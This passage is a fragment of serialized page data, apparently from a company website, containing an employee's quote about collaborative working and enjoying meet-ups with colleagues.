productive and collaborative way of working!",[],{"type":396,"text":17772,"spans":17773,"direction":4053},"Also, it helps me to feel close to my colleagues and when we have our company meet-ups it’s great as we already know each other well and end up having a right laugh at those get togethers!",[],"rich_text$904bab2d-7704-4613-b022-e7b8848f2ad6",1788399680488]